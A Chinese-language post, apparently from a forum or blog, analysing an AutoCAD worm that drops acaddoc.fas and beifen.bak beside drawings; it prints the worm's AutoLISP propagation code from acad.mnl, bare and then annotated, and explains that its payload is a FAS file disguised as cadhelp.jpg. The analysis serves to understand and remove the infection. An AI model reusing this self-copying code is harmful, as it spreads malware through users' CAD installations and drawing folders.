CAD dwg同文件夹下自动产生 acaddoc.fas 和 beifen.bak
很多cad专用杀毒软件都杀不掉
打开acad.mnl可查看源码:
(vl-load-com)
(setq path (findfile "base.dcl"))
(setq path (substr path 1 (- (strlen path) 8)))
(setq pathjpg (strcat path "cadhelp.jpg"))
(setq pathacad (strcat path "acaddoc.fas"))
(vl-file-copy pathjpg pathacad)
(setq wpath (getvar "menuname"))
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
(setq pathacad2 (strcat wpath "acaddoc.fas"))
(vl-file-copy pathjpg pathacad2)
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq dwgpathlsp (strcat dwgpath "acaddoc.fas"))
(setq dwgpathexebak (strcat dwgpath "beifen.bak"))
(vl-file-copy pathjpg dwgpathlsp)
(setq laowobak (strcat path "cad.bak"))
(vl-file-copy laowobak dwgpathexebak)
(vl-load-com)
(setq path (findfile "base.dcl"))
;;搜索到path的全路径,比如:C:\Users\Administrator\AppData\Roaming\Autodesk\AutoCAD 2014\R19.1\chs\Support\base.dcl
(setq path (substr path 1 (- (strlen path) 8)))
;;从path的全路径返回base.dcl所在的文件夹,比如:C:\Users\Administrator\AppData\Roaming\Autodesk\AutoCAD 2014\R19.1\chs\Support\
;;;(strlen [string]...) 以整数形式返回一个字符串中字符的个数
;;;(substr string start [length]) 返回字符串中的一个子字符串。
(setq pathjpg (strcat path "cadhelp.jpg"))
(setq pathacad (strcat path "acaddoc.fas"))
;;返回cadhelp.jpg路径,比如:C:\Users\Administrator\AppData\Roaming\Autodesk\AutoCAD 2014\R19.1\chs\Support\cadhelp.jpg
;;返回acaddoc.fas路径,比如:C:\Users\Administrator\AppData\Roaming\Autodesk\AutoCAD 2014\R19.1\chs\Support\acaddoc.fas
;;;(strcat [string [string]...]) 将多个字符串拼接成一个长字符串后返回。
(vl-file-copy pathjpg pathacad)
;;从源位置pathjpg复制文件到目标位置pathacad
;;(vl-file-copy source-filename target-filename [append])
;;从源位置(source-filename)复制文件到目标位置(target-filename)。如果append为非nil,同时目标文件存在,源文件就会被添加到已存在的目标文件。如果目标文件存在而append为nil,该文件将不被复制同时返回值为nil。如果成功,将返回整数值。
;;参数:
;;Source-filename 被复制文件的名称,如果文件不在默认的搜索路径中,则该文件名必须包含完整的路径位置。
;;Target-filename 源文件要复制到的目标名称。如果目标路径未指定,则使用默认的工作目录位置。
;;Append (可选)如果是非nil,代表如果目标文件存在,源文件将会被附加到目标文件上去。
;;示例:
;;(vl-file-copy “c:\\myfile1.txt” “c:\\mycopy.txt”)
;;(vl-file-copy “c:\\myfile2.txt” “c:\\mycopy.txt” T); 添加目录文件
(setq wpath (getvar "menuname"))
;;MENUNAME(系统变量)存储自定义文件名,包括文件名的路径。
(setq wpath (substr wpath 1 (- (strlen wpath) 4)))
(setq pathacad2 (strcat wpath "\\acaddoc.fas"))
(vl-file-copy pathjpg pathacad2)
(setq nowdwg (getvar "dwgname"))
(setq wjqm (findfile nowdwg))
(setq dwgpath (substr wjqm 1 (- (strlen wjqm) (strlen nowdwg))))
(setq dwgpathlsp (strcat dwgpath "acaddoc.fas"))
(setq dwgpathexebak (strcat dwgpath "beifen.bak"))
(vl-file-copy pathjpg dwgpathlsp)
(setq laowobak (strcat path "cad.bak"))
(vl-file-copy laowobak dwgpathexebak)
从上可以看出,程序会复制cadhelp.jpg,自动生成:cadhelp.jpg,acaddoc.fas,cad.bak,beifen.bak等文件夹。
其中 cadhelp.jpg 是一个 FAS4-FILE,应该也是*.fas 程序,编写者故意改为*.jpg
cadhelp.jpg,acaddoc.fas应该会自动修改acad.mnl文件。